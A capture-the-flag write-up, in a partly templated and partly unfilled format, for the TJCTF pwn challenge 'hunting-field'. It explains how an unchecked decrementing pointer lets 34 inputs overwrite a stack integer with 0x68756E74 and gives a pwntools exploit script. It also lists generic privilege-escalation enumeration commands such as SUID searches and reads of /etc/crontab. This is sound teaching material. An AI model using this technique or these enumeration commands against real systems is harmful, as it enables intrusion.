hunting-field
hunting-field
Platform: Tjctf | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-16 | Status: Solved Techniques: array_pointer_underflow, game_state_manipulation, little_endian_integer_overwrite, stack_layout_reconstruction
Summary
Task: text-based game with array pointer that decrements without bounds checking, allowing writes below the buffer into adjacent stack variable killCt. Solution: send 32 invalid inputs to exhaust the buffer, then overwrite killCt with the magic value 0x68756E74 ('hunt') via carefully ordered byte writes, then trigger game_over.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
tjctf| ID:20260516_tjctf_hunting_field - Tags: little_endian, game_exploitation, stack_variable_overwrite, buffer_underflow, array_out_of_bounds
- Indicators: array pointer decremented without bounds check, win condition checks integer for specific magic value, magic value is ASCII string matching challenge name, stack-adjacent variables (buffer and integer) with no canary
- Source:
20260516_tjctf_hunting_field.md
Foothold
Vulnerability / Misconfiguration
- Array_pointer_underflow
- Game_state_manipulation
- Little_endian_integer_overwrite
- Stack_layout_reconstruction
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- array_pointer_underflow
- game_state_manipulation
- little_endian_integer_overwrite
- stack_layout_reconstruction
- Tags: little_endian, game_exploitation, stack_variable_overwrite, buffer_underflow, array_out_of_bounds
Original Writeup
<details><summary>Click to expand original content</summary>Description
Take up your arms, and slay your enemies!
A text-based combat game on a 9×9 grid. The player (@) moves and attacks enemies (E) that spawn and chase the player. The binary is a dynamically linked, not stripped ELF 64-bit x86-64 executable with source code provided. The game_over() function prints the flag if the kill count equals the magic value 1752526452.
Analysis
The game loop reads 2-character inputs (action + direction). Invalid inputs are logged into input_log[64] via a pointer array_ptr that starts at &input_log[63] and decrements by 1 for each character written, with no bounds checking:
char input_log[64];
int killCt = 0;
int *kills = &killCt;
char *array_ptr = &input_log[63];
while ((!strchr("MA", player_input[0])) || (!strchr("NESW", player_input[1]))) {
scanf("%c", &player_input[0]);
scanf("%c", &player_input[1]);
int c; while ((c = getchar()) != '\n' && c != EOF);
*array_ptr = player_input[0];
array_ptr -= sizeof(player_input[0]); // decrement, no bounds check!
*array_ptr = player_input[1];
array_ptr -= sizeof(player_input[1]);
}
Each invalid input writes 2 bytes and decrements array_ptr by 2. After 32 invalid inputs (64 bytes), the pointer has moved past the beginning of input_log and into adjacent stack variables.
Stack Layout (from disassembly)
rbp-0x41 to rbp-0x80: input_log[64] (array_ptr starts at rbp-0x41 = input_log[63])
rbp-0x81 to rbp-0x84: killCt (4-byte int, little-endian)
rbp-0x85 to rbp-0x86: player_input[2]
Win Condition
void game_over(int *kills) {
if (*kills == 1752526452) {
// reads and prints flag.txt
}
}
The magic value 1752526452 = 0x68756E74 is ASCII for "hunt" — a wordplay hint from the challenge name "hunting-field".
In little-endian byte order on the stack:
rbp-0x84(LSB) =0x74='t'rbp-0x83=0x6E='n'rbp-0x82=0x75='u'rbp-0x81(MSB) =0x68='h'
Solution
Step 1: Fill the buffer (32 invalid inputs)
Send 32 invalid 2-character inputs ("xx") to exhaust the 64-byte input_log buffer. After this, array_ptr points to rbp-0x81 (the MSB of killCt).
Step 2: Overwrite killCt (inputs 33–34)
- 33rd input
"hu": writes'h'(0x68) torbp-0x81(killCt MSB), then'u'(0x75) torbp-0x82 - 34th input
"nt": writes'n'(0x6E) torbp-0x83, then't'(0x74) torbp-0x84(killCt LSB)
This sets killCt = 0x68756E74 = 1752526452.
Step 3: Skip player_input area (input 35)
The pointer now points into the player_input memory area (rbp-0x85/rbp-0x86). Writing here corrupts the input validation variables, making it impossible to provide a valid input from this position. One more garbage input ("xx") moves the pointer past this area.
Step 4: Exit the loop (input 36)
Send "MN" (Move North) — a valid input that passes the strchr checks and exits the inner while loop.
Step 5: Trigger game_over
Keep sending "MN" on subsequent turns. Enemies spawn periodically and chase the player. Eventually an enemy walks into the player's tile, triggering game_over(kills) which checks *kills == 1752526452 and prints the flag.
Exploit Script
from pwn import *
context.log_level = 'info'
io = remote('tjc.tf', 31412)
# 32 padding invalid inputs to fill input_log
for i in range(32):
io.sendline(b'xx')
# Overwrite killCt with 0x68756E74 ("hunt")
io.sendline(b'hu') # 33rd: MSB(0x68) + byte2(0x75)
io.sendline(b'nt') # 34th: byte1(0x6E) + LSB(0x74)
# Skip past player_input area
io.sendline(b'xx') # 35th: garbage
# Valid input to exit loop
io.sendline(b'MN') # 36th: move north
# Keep moving until enemy reaches player → game_over
for i in range(30):
io.sendline(b'MN')
io.recvuntil(b'Game Over!', timeout=30)
result = io.recvuntil(b'}', timeout=10)
print(result.decode())
io.close()
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR